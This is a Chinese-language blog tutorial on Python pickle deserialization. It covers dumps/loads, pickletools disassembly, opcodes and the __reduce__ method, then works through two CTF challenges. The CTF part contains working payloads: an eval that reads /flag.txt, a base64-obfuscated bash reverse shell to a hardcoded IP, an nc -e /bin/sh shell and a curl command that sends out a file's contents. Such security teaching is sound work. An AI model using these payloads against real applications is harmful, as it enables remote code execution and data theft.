深入浅出带你了解PICKLE反序列化

674 阅读4分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 10 月更文挑战」的第15天,点击查看活动详情

引文

提到反序列化,大家首先会想到php反序列化或者java反序列化,今天给大家带来PYTHON反序列化,各大语言都有自己的反序列库,而Python的库就是Pickle。下面给大家详细讲一下。

基础知识

序列化与反序列化

PYTHON使用loadsdumps2个函数实现反序列化和序列化操作 ,因为之前已经讲过反序列化的基础了,这里就举个例子给大家看看:

import pickle
text = 'xino'
sertext = pickle.dumps(text)
print(sertext)
reltext = pickle.loads(sertext)
print(reltext)

运行一下会发现输出了:

pic.PNG

其中第一行为我们序列化的字节流,而xino为我们序列化之前的内容,对于打包的内容,PYTHON是支持许多类型的打包,具体如下图:

pic2.PNG

注意点

当我们简单定义class时,对于形似:

xino= 1234656

的方式进行赋值时,序列化不会打包我们定义的这个参数,解决方法是写一个__init__方法:

import pickle
class tmp():
	text = "114514"
	def __init__(self, text):
		self.text = text

Unpickler类

它接受一个二进制文件用于读取 pickle 数据流。在该类中有一个load() 方法,从构造函数中指定的文件对象里读取打包好的对象,重建其中特定对象的层次结构并返回。打包对象以外的其他字节将被忽略。该方法依赖于Pickle Virtual Machine ,最后输出字节流,想要深入了解可以参考博客:

blog.csdn.net/qq_43431158…

pickletools 调试器

python自带的pickle调试器,有三个功能:反汇编一个已经被打包的字符串、优化一个已经被打包的字符串、返回一个迭代器来供程序使用。

这里就简单演示一下:

通过dis方法对一个已经打包好的字符串进行反汇编:

import pickle
import pickletools
class  pickle_test:
    def __init__(self):
        self.date = 20200911
        self.name = "XINO"
        a = pickle_test()
        s = pickle.dumps(a, protocol=2)
        print(s)
        pickletools.dis(s)

pic3.PNG

解析字符串,并告诉我们每一个点都在干什么,你会发现上面内容有一些是用不到的,这里引入:

optimize方法对打包的字符串和反汇编指令进行优化。

s = pickletools.optimize(s)

pic4.PNG

这样逻辑就比较好看了,对于这些指令码,我们需要学习一下opcode。

opcode

PVM引擎会识别opcode中不同的指令码,从而进行相应的操作。下面简单举一些例子:

pic5.PNG

魔术方法

联想PHP反序列化中最重要的魔术方法,PYTHON反序列化中也存在着可以利用的魔术方法,最常用的就是__reduce__ ,类似于php的__wakeup__,被序列化的时候告诉系统如何运行,他的返回值第一个参数是函数名,第二个参数是一个tuple,第一个的参数,我们可以控制里面的值。

import pickle
class tmp():
   text = "123"
   def __init__(self, text):
      self.text = text
   def __reduce__(self):
      return (tmp,("XINO",))
text = tmp('aa111')
sertext = pickle.dumps(text)
print(sertext)
reltext = pickle.loads(sertext)
print(reltext.text)

pic6.PNG

可以看到我们在reduce里写的值传入字符串里面了。

例题

例子一

给到我们源码:

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')
    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

发现含有关键字类似“import cPickle”或“import pickle”等,怀疑是pickle反序列化,我们构建一个类,类里面的__reduce__魔术方法会在该类被反序列化的时候会被调用,而在reduce方法里面我们就读取flag.txt文件,因为源码里对参数对对象进行了URL解码,所以我们将该类序列化之后进行URL编码, 于是我们可以编写payload:

# coding:utf-8 
#version:python2.7
import pickle
import urllib
class Test(object):
    def __reduce__(self):
        return (eval, ("open('/flag.txt','r').read()" ,))
a = Test()
s = pickle.dumps(a)
print(urllib.quote(s))
#c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

抓包提交得到flag:

Inked劈成.jpg

例子二

进入网站发现是一个商店:

pic7.PNG

抓包发现session比较奇怪,根据题目的PICKLE名字,我们解一下:

import base64
import pickle
print(pickle.loads(base64.b64decode("SESSION")))

pic8.PNG

我们还是可以根据reduce方法去重写参数然后发包:

import base64
import pickle
class shell(object):
   # bash -i >& /dev/tcp/你的ip/9999 0>&1的base64
    def __reduce__(self):
        return (eval, ("__import__('os').system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuOTEuMjYuMjI5Lzk5OTkgMD4mMQ== | base64 -d | bash ')",))
k = shell()
print(base64.b64encode(pickle.dumps(k)))

参考其他师傅的做题过程,我们也可以用nc或者curl:

NC:

import base64
import pickle


class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('nc VPS PORT -e/bin/sh')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

CURL:

import pickle
import base64
class A(object):
  def __reduce__(self):
    return (eval,("__import__('os').system('curl http://XXX.xxx.xxx.xxx/`cat flag.txt|base64`')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

结语

今天讲的内容可能有点难理解,因为涉及了比较底层的知识点,文章中有一些比较难的地方可能讲的不是很好,有兴趣的小伙伴可以自己去深入理解一下,文章可能有不对的地方望大家指正。